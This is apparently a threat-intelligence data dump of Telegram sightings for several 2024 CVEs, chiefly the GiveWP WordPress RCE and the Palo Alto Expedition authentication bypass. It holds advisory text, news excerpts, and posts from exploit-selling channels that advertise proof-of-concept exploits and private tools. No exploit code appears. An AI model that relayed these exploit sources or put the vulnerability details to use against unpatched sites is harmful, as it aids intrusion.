"b984c7e4-9cce-45a7-b709-7fb0d3c5515c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5964", "type": "seen", "source": "https://t.me/cvedetector/1138", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5964 - \"Zenon Lite Stored Cross-Site Scripting Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-5964 \nPublished : July 18, 2024, 2:15 a.m. | 43\u00a0minutes ago \nDescription : The Zenon Lite theme for WordPress is vulnerable to Stored Cross-Site Scripting via the \u2018url\u2019 parameter within the theme's Button shortcode in all versions up to, and including, 1.9 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-18T05:05:46.000000Z"}, {"uuid": "3b645e5e-43f0-4031-b671-11810f958e05", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5971", "type": "seen", "source": "https://t.me/cvedetector/217", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5971 - A vulnerability was found in Undertow, where the c\", \n  \"Content\": \"CVE ID : CVE-2024-5971 \nPublished : July 8, 2024, 9:15 p.m. | 25\u00a0minutes ago \nDescription : A vulnerability was found in Undertow, where the chunked response hangs after the body was flushed. The response headers and body were sent but the client would continue waiting as Undertow does not send the expected 0\\r\\n termination of the chunked response. This results in uncontrolled resource consumption, leaving the server side to a denial of service attack. This happens only with Java 17 TLSv1.3 scenarios. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-08T23:41:37.000000Z"}, {"uuid": "03de7f5f-7892-4877-bef7-af2a22f51181", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5974", "type": "seen", "source": "https://t.me/cvedetector/227", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5974 - A buffer overflow in WatchGuard Fireware OS could\", \n  \"Content\": \"CVE ID : CVE-2024-5974 \nPublished : July 9, 2024, 3:15 a.m. | 16\u00a0minutes ago \nDescription : A buffer overflow in WatchGuard Fireware OS could may allow an authenticated remote attacker with privileged management access to execute arbitrary code with system privileges on the firewall.  \nThis issue affects Fireware OS: from 11.9.6 through 12.10.3. \nSeverity: 7.2 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-09T05:32:47.000000Z"}, {"uuid": "3c3b128b-6b85-4f16-b5b6-b110dd749ec9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5932", "type": "published-proof-of-concept", "source": "https://t.me/BlackHat0Hackers/3534", "content": "CVE-2024-5932 \n*\nWordPress GiveWP POP to RCE\n*\nPOC exploit", "creation_timestamp": "2024-10-05T11:03:44.000000Z"}, {"uuid": "607f27e9-ee16-41dc-8238-bde3dc7f3da5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5932", "type": "published-proof-of-concept", "source": "https://t.me/six5zeroexploit/93", "content": "\ud83d\ude35\u200d\ud83d\udcab DM To Join \u2705\n\n\u2604\ufe0f Contact \u27a1\ufe0f @NullHextral \u2705\n\u2604\ufe0f Channel \u27a1\ufe0f\u00a0@six5zeroexploit \u2705", "creation_timestamp": "2024-12-07T01:55:47.000000Z"}, {"uuid": "82740f6c-c33a-4bb2-ac8f-78066f538bec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5932", "type": "seen", "source": "https://t.me/Kelvinseccommunity/756", "content": "GiveWP WordPress Plugin Vulnerability Puts 100,000+ Websites at Risk\nhttps://thehackernews.com/2024/08/givewp-wordpress-plugin-vulnerability.html\n\nA maximum-severity security flaw has been disclosed in the WordPress GiveWP donation and fundraising plugin that exposes more than 100,000 websites to remote code execution attacks.\nThe flaw, tracked as CVE-2024-5932 (CVSS score: 10.0), impacts all versions of the plugin prior to version 3.14.2, which was released on August 7, 2024. A security researcher, who goes by the online alias villu164,", "creation_timestamp": "2024-08-21T08:31:34.000000Z"}, {"uuid": "26595a07-244b-4af0-a53d-aa58a4c649a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5932", "type": "published-proof-of-concept", "source": "https://t.me/Team_Dot33/692", "content": "Wordpress GiveWP Plugin RCE Exploit (CVE-2024-5932)\n\nIf You Want Private Tools For Good Result DM: https://t.me/NullHextral\nJoin and Share https://t.me/six5zeroexploit", "creation_timestamp": "2024-10-11T08:02:19.000000Z"}, {"uuid": "7180b063-dd88-43e1-955a-d0cec7158791", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5910", "type": "seen", "source": "Telegram/cFz4y_M6xEoer0BSY5q3YiGv30fS4GkYMArEw1-2EtDKnQ", "content": "", "creation_timestamp": "2024-07-11T20:09:43.000000Z"}, {"uuid": "577eff15-95bb-470a-af9f-ca6fd6a28d6f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5932", "type": "seen", "source": "https://t.me/Blackhat_Officials/1389", "content": "GiveWP WordPress Plugin Vulnerability Puts 100,000+ Websites at Risk\nhttps://thehackernews.com/2024/08/givewp-wordpress-plugin-vulnerability.html\n\nA maximum-severity security flaw has been disclosed in the WordPress GiveWP donation and fundraising plugin that exposes more than 100,000 websites to remote code execution attacks.\nThe flaw, tracked as CVE-2024-5932 (CVSS score: 10.0), impacts all versions of the plugin prior to version 3.14.2, which was released on August 7, 2024. A security researcher, who goes by the online alias villu164,", "creation_timestamp": "2024-08-21T08:32:18.000000Z"}, {"uuid": "ead84567-ebbd-4c46-b7ae-9c0a24b58d21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5932", "type": "published-proof-of-concept", "source": "https://t.me/HackingInsights/10628", "content": "\u200aCVE-2024-5932 (CVSS 10): Critical RCE Vulnerability Impacts 100k+ WordPress Sites\n\nhttps://securityonline.info/cve-2024-5932-cvss-10-critical-rce-vulnerability-impacts-100k-wordpress-sites/", "creation_timestamp": "2024-08-20T13:04:10.000000Z"}, {"uuid": "23317287-3e34-4e5c-9195-9ba4b4c339ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5910", "type": "seen", "source": "https://t.me/HackingInsights/5817", "content": "\u200aCVE-2024-5910: Critical Vulnerability Threatens Palo Alto Networks\u2019 Expedition\n\nhttps://securityonline.info/cve-2024-5910-critical-vulnerability-threatens-palo-alto-networks-expedition/", "creation_timestamp": "2024-07-12T13:28:14.000000Z"}, {"uuid": "4babcd2a-8171-4cbf-8fd2-248ad6e1f208", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5994", "type": "seen", "source": "Telegram/25HCRCkslEQuEuzkOhaKk-mhuE44KGd36-CJhYFHGrHZTwmW", "content": "", "creation_timestamp": "2025-02-14T10:03:09.000000Z"}, {"uuid": "cae78400-e826-42d7-b8aa-fc765a3002f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5932", "type": "published-proof-of-concept", "source": "Telegram/WAVpI_mJxo3wUBY2hzto7NtUeqMIoVhFYJC69arERR2U", "content": "", "creation_timestamp": "2024-10-11T10:01:41.000000Z"}, {"uuid": "62347aa9-1796-459f-95aa-410273a3c18b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5932", "type": "seen", "source": "https://t.me/tengkorakcybercrewz/18359", "content": "The Hacker News\nGiveWP WordPress Plugin Vulnerability Puts 100,000+ Websites at Risk\n\nA maximum-severity security flaw has been disclosed in the WordPress GiveWP donation and fundraising plugin that exposes more than 100,000 websites to remote code execution attacks.\nThe flaw, tracked as CVE-2024-5932 (CVSS score: 10.0), impacts all versions of the plugin prior to version 3.14.2, which was released on August 7, 2024. A security researcher, who goes by the online alias villu164,", "creation_timestamp": "2024-08-21T09:48:51.000000Z"}, {"uuid": "5b786c6e-f839-453c-a5fa-d2d0d033afaf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5910", "type": "seen", "source": "https://t.me/tengkorakcybercrewz/14843", "content": "The Hacker News\nPalo Alto Networks Patches Critical Flaw in Expedition Migration Tool\n\nPalo Alto Networks has released security updates to address five security flaws impacting its products, including a critical bug that could lead to an authentication bypass.\nCataloged as CVE-2024-5910 (CVSS score: 9.3), the vulnerability has been described as a case of missing authentication in its Expedition migration tool that could lead to an admin account takeover.\n\"Missing authentication", "creation_timestamp": "2024-07-11T20:09:42.000000Z"}, {"uuid": "1a9a3017-cff8-4062-9087-8c58786009fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5932", "type": "published-proof-of-concept", "source": "Telegram/EZddkYqkboEk0cmGuSOX9VuQrZaciDyyzWDWEZuPrcby3jeK", "content": "", "creation_timestamp": "2024-12-09T16:44:13.000000Z"}, {"uuid": "0420d36c-c7c7-441b-84c0-6ad67898a895", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5932", "type": "published-proof-of-concept", "source": "https://t.me/hitshare/2809", "content": "Wordpress GiveWP Plugin RCE Exploit (CVE-2024-5932)", "creation_timestamp": "2024-10-11T12:24:11.000000Z"}, {"uuid": "682eabf4-1e57-48f6-8358-d34592337e5f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5910", "type": "exploited", "source": "Telegram/iyUqZxi-ZOHA5q31WG-CECdljikAI2NtqNSD96URfONYlw", "content": "", "creation_timestamp": "2024-11-08T10:33:06.000000Z"}, {"uuid": "9508a2de-612e-4e74-94ab-cb6028488c09", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5910", "type": "seen", "source": "Telegram/eiA4EV3lx2Xj5K19_ERbsqWvZ2LELjbyg0wyACGwCEiaNQ", "content": "", "creation_timestamp": "2024-07-11T18:30:56.000000Z"}, {"uuid": "66489c57-eede-479a-ab16-fc4f76ea99eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5932", "type": "published-proof-of-concept", "source": "Telegram/ILyJ6K1ycSMNbsG96eFJPNoFRNMf6drptEVPTG6COjbL3w", "content": "", "creation_timestamp": "2024-08-21T10:00:49.000000Z"}, {"uuid": "96c44071-6ad0-4f3b-9721-99537c8253bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5932", "type": "published-proof-of-concept", "source": "Telegram/26m3io3CxIbSducaPZiRB4zkX9wxvv0W5PpBovFhQPHDAmA", "content": "", "creation_timestamp": "2024-09-27T18:49:57.000000Z"}, {"uuid": "1792133a-3a1f-465c-91b3-ab1cadabf35f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5932", "type": "published-proof-of-concept", "source": "Telegram/qZM0NNijhQe30uI1HDidP8z9iH_9o-A7s4eoxr8GKg4wvWY", "content": "", "creation_timestamp": "2024-09-06T08:08:13.000000Z"}, {"uuid": "d4fe21f6-76e8-4a91-9bca-ca49ef37eb29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5932", "type": "published-proof-of-concept", "source": "https://t.me/softrinx/146844", "content": "CVE-2024-5932 \n*\nWordPress GiveWP POP to RCE\n*\nPOC exploit", "creation_timestamp": "2024-08-30T12:27:54.000000Z"}, {"uuid": "b0152067-a2c7-43f5-9ff2-b5bbf718dd30", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5910", "type": "seen", "source": "https://t.me/tengkorakcybercrewz/2889", "content": "The Hacker News\nPalo Alto Networks Patches Critical Flaw in Expedition Migration Tool\n\nPalo Alto Networks has released security updates to address five security flaws impacting its products, including a critical bug that could lead to an authentication bypass.\nCataloged as CVE-2024-5910 (CVSS score: 9.3), the vulnerability has been described as a case of missing authentication in its Expedition migration tool that could lead to an admin account takeover.\n\"Missing authentication", "creation_timestamp": "2024-07-11T20:09:42.000000Z"}, {"uuid": "f7f6e429-213f-47fd-8530-023fa42f0212", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5932", "type": "seen", "source": "https://t.me/tengkorakcybercrewz/3666", "content": "The Hacker News\nGiveWP WordPress Plugin Vulnerability Puts 100,000+ Websites at Risk\n\nA maximum-severity security flaw has been disclosed in the WordPress GiveWP donation and fundraising plugin that exposes more than 100,000 websites to remote code execution attacks.\nThe flaw, tracked as CVE-2024-5932 (CVSS score: 10.0), impacts all versions of the plugin prior to version 3.14.2, which was released on August 7, 2024. A security researcher, who goes by the online alias villu164,", "creation_timestamp": "2024-08-21T09:48:51.000000Z"}, {"uuid": "1ebca40f-f27d-42ae-af22-5c9e029ad866", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5932", "type": "published-proof-of-concept", "source": "https://t.me/KomunitiSiber/2434", "content": "GiveWP WordPress Plugin Vulnerability Puts 100,000+ Websites at Risk\nhttps://thehackernews.com/2024/08/givewp-wordpress-plugin-vulnerability.html\n\nA maximum-severity security flaw has been disclosed in the WordPress GiveWP donation and fundraising plugin that exposes more than 100,000 websites to remote code execution attacks.\nThe flaw, tracked as CVE-2024-5932 (CVSS score: 10.0), impacts all versions of the plugin prior to version 3.14.2, which was released on August 7, 2024. A security researcher, who goes by the online alias villu164,", "creation_timestamp": "2024-08-21T07:42:25.000000Z"}, {"uuid": "185361a4-d9eb-4459-b779-28193d3b065c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5910", "type": "exploited", "source": "https://t.me/KomunitiSiber/2830", "content": "CISA Alerts to Active Exploitation of Critical Palo Alto Networks Vulnerability\nhttps://thehackernews.com/2024/11/cisa-alerts-to-active-exploitation-of.html\n\nThe U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Thursday added a now-patched critical security flaw impacting Palo Alto Networks Expedition to its Known Exploited Vulnerabilities (KEV) catalog, citing evidence of active exploitation.\nThe vulnerability, tracked as CVE-2024-5910 (CVSS score: 9.3), concerns a case of missing authentication in the Expedition migration tool that", "creation_timestamp": "2024-11-08T07:17:57.000000Z"}, {"uuid": "94705bbd-429d-42c9-b3df-67a6d4f135ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5910", "type": "seen", "source": "https://t.me/KomunitiSiber/2241", "content": "Palo Alto Networks Patches Critical Flaw in Expedition Migration Tool\nhttps://thehackernews.com/2024/07/palo-alto-networks-patches-critical.html\n\nPalo Alto Networks has released security updates to address five security flaws impacting its products, including a critical bug that could lead to an authentication bypass.\nCataloged as CVE-2024-5910 (CVSS score: 9.3), the vulnerability has been described as a case of missing authentication in its Expedition migration tool that could lead to an admin account takeover.\n\"Missing authentication", "creation_timestamp": "2024-07-11T19:22:11.000000Z"}, {"uuid": "d4950a8c-fe10-4c90-8860-e29367c1786a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5932", "type": "published-proof-of-concept", "source": "https://t.me/bads_community/1453", "content": "Wordpress GiveWP Plugin RCE Exploit (CVE-2024-5932)\n\nIf You Want Private Tools For Good Result DM: https://t.me/NullHextral\nJoin and Share https://t.me/six5zeroexploit", "creation_timestamp": "2024-09-22T10:37:56.000000Z"}, {"uuid": "94665010-e3a6-4bef-870d-918ca2a46c73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5932", "type": "published-proof-of-concept", "source": "https://t.me/bads_community/1603", "content": "\ud83d\ude35\u200d\ud83d\udcab DM To Join \u2705\n\n\u2604\ufe0f Contact \u27a1\ufe0f @NullHextral \u2705\n\u2604\ufe0f Channel \u27a1\ufe0f\u00a0@six5zeroexploit \u2705", "creation_timestamp": "2024-12-07T01:56:17.000000Z"}, {"uuid": "6425a32b-70eb-4f09-8887-d8bca04b281a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5932", "type": "published-proof-of-concept", "source": "https://t.me/bads_community/39028", "content": "Wordpress GiveWP Plugin RCE Exploit (CVE-2024-5932)\n\nIf You Want Private Tools For Good Result DM: https://t.me/NullHextral\nJoin and Share https://t.me/six5zeroexploit", "creation_timestamp": "2024-09-22T10:37:56.000000Z"}, {"uuid": "142ba79b-79ba-4339-ad17-ff5907c0882a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5932", "type": "published-proof-of-concept", "source": "https://t.me/bads_community/76167", "content": "\ud83d\ude35\u200d\ud83d\udcab DM To Join \u2705\n\n\u2604\ufe0f Contact \u27a1\ufe0f @NullHextral \u2705\n\u2604\ufe0f Channel \u27a1\ufe0f\u00a0@six5zeroexploit \u2705", "creation_timestamp": "2024-12-07T01:56:17.000000Z"}, {"uuid": "582cefd8-f456-4ddb-b9b4-726246c80418", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5932", "type": "published-proof-of-concept", "source": "https://t.me/bads_group/76166", "content": "\ud83d\ude35\u200d\ud83d\udcab DM To Join \u2705\n\n\u2604\ufe0f Contact \u27a1\ufe0f @NullHextral \u2705\n\u2604\ufe0f Channel \u27a1\ufe0f\u00a0@six5zeroexploit \u2705", "creation_timestamp": "2024-12-07T01:56:14.000000Z"}, {"uuid": "4e56be7d-d502-4ddc-8e40-359db9fe3d0f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5932", "type": "published-proof-of-concept", "source": "https://t.me/mad_hackers_community/440", "content": "\ud83d\ude35\u200d\ud83d\udcab DM To Join \u2705\n\n\u2604\ufe0f Contact \u27a1\ufe0f @NullHextral \u2705\n\u2604\ufe0f Channel \u27a1\ufe0f\u00a0@six5zeroexploit \u2705", "creation_timestamp": "2024-12-07T01:56:17.000000Z"}, {"uuid": "0e3ae017-7e07-494f-9f59-ee49e182c6dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5932", "type": "published-proof-of-concept", "source": "https://t.me/mad_hackers_community/352", "content": "Wordpress GiveWP Plugin RCE Exploit (CVE-2024-5932)\n\nIf You Want Private Tools For Good Result DM: https://t.me/NullHextral\nJoin and Share https://t.me/six5zeroexploit", "creation_timestamp": "2024-09-22T10:37:56.000000Z"}, {"uuid": "d1132acf-4243-4044-920b-dfab03359508", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5932", "type": "published-proof-of-concept", "source": "Telegram/fHkb0CM1FzFAB8xBTZyHf3gn0Hu7gob4-PsX9T3gFkP-8Qga", "content": "", "creation_timestamp": "2024-12-09T16:43:12.000000Z"}, {"uuid": "59b8a5b1-21a3-4602-a7c7-94175bd2c62f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5932", "type": "published-proof-of-concept", "source": "https://t.me/softrinx/477", "content": "CVE-2024-5932 \n*\nWordPress GiveWP POP to RCE\n*\nPOC exploit", "creation_timestamp": "2024-08-30T12:27:54.000000Z"}, {"uuid": "c5d224a3-9d25-4614-a651-d68df64f1bcd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5932", "type": "published-proof-of-concept", "source": "https://t.me/proxy_bar/2251", "content": "CVE-2024-5932 \n*\nWordPress GiveWP POP to RCE\n*\nPOC exploit", "creation_timestamp": "2024-08-29T12:18:16.000000Z"}, {"uuid": "c56ef0a7-6446-4896-b644-7327b635f9b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5910", "type": "exploited", "source": "Telegram/0VBmeHghnmPXCpG5kVpjQga_lAOHxnlgefDdqk8JVcn2kjU", "content": "", "creation_timestamp": "2024-11-08T16:22:45.000000Z"}, {"uuid": "38ccf8ca-65e5-4c1c-9562-e56b0785a8c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5932", "type": "published-proof-of-concept", "source": "Telegram/WgpEig7cHbSwl6zO84Cy6KIpQtYjfwm8moSVfjTLyb9KLu9O", "content": "", "creation_timestamp": "2024-10-15T13:19:05.000000Z"}, {"uuid": "3e6eb380-d1d4-42c0-ae62-340e78d7bf40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5910", "type": "published-proof-of-concept", "source": "https://t.me/true_secator/6304", "content": "\u0422\u0435\u043f\u0435\u0440\u044c \u043e \u0433\u0440\u0443\u0441\u0442\u043d\u043e\u043c, \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Fortinet RCE \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445.\n\n\u0420\u0435\u0447\u044c \u0438\u0434\u0435\u0442 \u043e CVE-2024-23113, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0432\u044b\u0437\u0432\u0430\u043d\u0430 \u0442\u0435\u043c, \u0447\u0442\u043e \u0434\u0435\u043c\u043e\u043d fgfmd \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u0430 \u0441\u0442\u0440\u043e\u043a\u0443 \u0444\u043e\u0440\u043c\u0430\u0442\u0430, \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u0443\u044e \u0438\u0437\u0432\u043d\u0435, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0438\u043b\u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u043d\u0435\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0438\u0437\u043a\u043e\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438, \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u044e\u0449\u0438\u0445 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c.\n\n\u041a\u0430\u043a \u043f\u043e\u044f\u0441\u043d\u044f\u0435\u0442 Fortinet, \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0439 \u0434\u0435\u043c\u043e\u043d fgfmd \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043d\u0430 FortiGate \u0438 FortiManager, \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u044f \u0432\u0441\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u044b \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u044f \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f\u043c\u0438 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438 \u043c\u0435\u0436\u0434\u0443 \u043d\u0438\u043c\u0438.\n\nCVE-2024-23113\u00a0\u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 FortiOS 7.0 \u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0438\u0435 \u0432\u0435\u0440\u0441\u0438\u0438, FortiPAM 1.0 \u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0438\u0435 \u0432\u0435\u0440\u0441\u0438\u0438, FortiProxy 7.0 \u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0438\u0435 \u0432\u0435\u0440\u0441\u0438\u0438, \u0430 \u0442\u0430\u043a\u0436\u0435 FortiWeb 7.4.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0430 \u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0435\u0449\u0435 \u0432 \u0444\u0435\u0432\u0440\u0430\u043b\u0435, \u043f\u043e\u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u043e\u0432\u0430\u0432 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u0437\u0430\u043a\u0440\u044b\u0442\u044c 